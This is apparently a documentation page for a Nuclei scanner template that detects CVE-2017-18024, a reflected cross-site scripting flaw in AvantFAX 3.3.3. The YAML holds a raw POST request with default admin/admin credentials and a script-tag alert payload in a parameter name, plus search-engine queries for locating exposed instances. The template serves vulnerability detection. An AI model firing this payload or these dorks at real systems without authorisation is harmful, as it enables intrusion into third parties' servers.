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AvantFAX 3.3.3 - Cross-Site Scripting

ID: CVE-2017-18024

Severity: medium

Author: pikpikcu

Tags: cve,cve2017,avantfax,hackerone,packetstorm,xss

Description

Section titled “Description”

AvantFAX 3.3.3 contains a cross-site scripting vulnerability via an arbitrary parameter name submitted to the default URL, as demonstrated by a parameter whose name contains a SCRIPT element and whose value is 1.

YAML Source

Section titled “YAML Source”
id: CVE-2017-18024


info:
  name: AvantFAX 3.3.3 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: AvantFAX 3.3.3 contains a cross-site scripting vulnerability via an arbitrary parameter name submitted to the default URL, as demonstrated by a parameter whose name contains a SCRIPT element and whose value is 1.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of AvantFAX or apply the necessary security patches to mitigate the XSS vulnerability.
  reference:
    - https://hackerone.com/reports/963798
    - http://packetstormsecurity.com/files/145776/AvantFAX-3.3.3-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2017-18024
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/NarbehJackson/Java-Xss-minitwit16
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-18024
    cwe-id: CWE-79
    epss-score: 0.00074
    epss-percentile: 0.31612
    cpe: cpe:2.3:a:avantfax:avantfax:3.3.3:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: avantfax
    product: avantfax
    shodan-query: http.title:"avantfax - login"
    fofa-query: title="avantfax - login"
    google-query: intitle:"avantfax - login"
  tags: cve,cve2017,avantfax,hackerone,packetstorm,xss


http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        username=admin&password=admin&_submit_check=1&jlbqg<script>alert("{{randstr}}")</script>b7g0x=1


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert("{{randstr}}")</script>'
          - 'AvantFAX'
        condition: and


      - type: word
        part: header
        words:
          - "text/html"


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c8fafa4b518fdfbc9c5ace5b123fbc0bd411f9871061f2927ca5c8f504de271f0221008688d0b2511a79f9dcec04187730e518532193c7483af00d8aacba2c94baafe8:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-18024.yaml"

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